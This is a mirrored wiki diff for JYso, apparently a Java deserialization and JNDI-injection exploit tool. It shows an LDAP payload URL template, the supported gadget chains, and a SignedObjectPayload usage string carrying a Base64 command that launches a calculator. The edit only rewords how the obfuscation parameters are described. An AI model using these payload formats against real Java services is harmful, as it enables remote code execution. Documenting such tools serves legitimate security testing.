mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-26 00:31:52 +08:00
Updated 6、Gadget (markdown)
+1
-1
@@ -351,7 +351,7 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:
|
||||
* `cc`,`cc4`,`cb`,`hibernate`,`rome`,`rhino`,`spring`
|
||||
|
||||
* 利用方式:
|
||||
* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型
|
||||
* SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后2个类型是脏数据类型和长度,为0则不混淆
|
||||
|
||||
+ JNDI-Injection-Exploit 用法:
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user